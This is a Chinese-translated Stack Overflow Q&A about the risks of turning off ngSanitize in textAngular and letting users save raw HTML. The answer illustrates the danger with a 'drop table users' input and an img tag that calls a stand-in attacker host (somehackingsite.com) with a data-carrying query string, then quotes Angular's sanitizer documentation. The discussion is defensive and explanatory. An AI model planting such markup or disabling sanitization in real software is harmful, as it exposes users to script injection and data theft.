【问题标题】:What are the Risks of Disabling ngSanitize?禁用 ngSanitize 有哪些风险?
【发布时间】:2015-11-16 22:50:18
【问题描述】:

允许用户生成未经处理的 html 有什么风险?我正在使用文本角度并想使用:

 ta-unsafe-sanitizer="true"

https://github.com/fraywing/textAngular/issues/233

现在 - 我想 99.9% 的阅读者都不知道 text-angular 是什么,所以我主要对允许使用原始 html 的总体后果感兴趣。

【问题讨论】:

  • 这取决于您对这些数据的处理方式。你有没有把它展示给其他用户?
  • 用于生成报告。其他用户可以看到组织管理员生成的报告。构建这些报告的人是组织管理员。例如,经理会监督多个办公室。我不在乎他们让用户看到什么,只要它不让他们访问受限的后端元素,我无法想象它会这样做。
  • 否,但如果其他用户看到它,则可能是管理员插入了恶意 JavaScript。当然,这不一定是自愿完成的,也可以由某种病毒或攻击者以任何方式完成。基本上,如果将任意 JavaScript 包含在用户浏览器中,任何可能出错的事情理论上都可能出错。
  • 仅仅因为你没有锁门并不意味着你会被盗;专业人士可以通过锁进入,但它让疯子更容易用更少的努力搞砸你的下午......

标签: javascript html angularjs sanitize textangular


【解决方案1】:

假设您有一个带有输入的表单元素,并且用户在输入中插入了类似drop table users 的内容。如果您的服务器代码或某些服务很弱,您不知道它的安全级别是多少,您可能会丢失您的数据。 现在,这是一个例子。有很多方法可以以类似的方式做坏事。

其他示例是向图像src 插入一些带有查询参数的网址,例如

<img 
   src='http://somehackingsite.com/images/lol.png?userIp="some scriptor other hacking style"' />

AngularJs 提供了一种通过 ngSanitize 解决的方法

通过去除所有潜在危险来清理 html 字符串 令牌。

通过将 HTML 解析为标记来清理输入。一切安全 然后将令牌(来自白名单)序列化回正确转义 html 字符串。这意味着没有不安全的输入可以进入 返回字符串。

配置了对属性值进行 URL 清理的白名单 使用函数 aHrefSanitizationWhitelist 和 $compileProvider 的 imgSrcSanitizationWhitelist。

【讨论】:

  • 但这一切只是假装保护,对吧?因为我可以将该字符串直接传递给 API。
  • 当然。它只是对 GUI 的保护。但是,当在您的网站上对其进行角度解析时,它也可以保护您的用户。例如,有人成功到达您的服务器并向每个人都应该看到的图像元素添加一些脚本。
  • 感谢您的回复,我打算让它运行一段时间,但我一定会回来接受答案。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2011-04-23
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2011-11-27
  • 2016-07-08
  • 1970-01-01
相关资源
最近更新 更多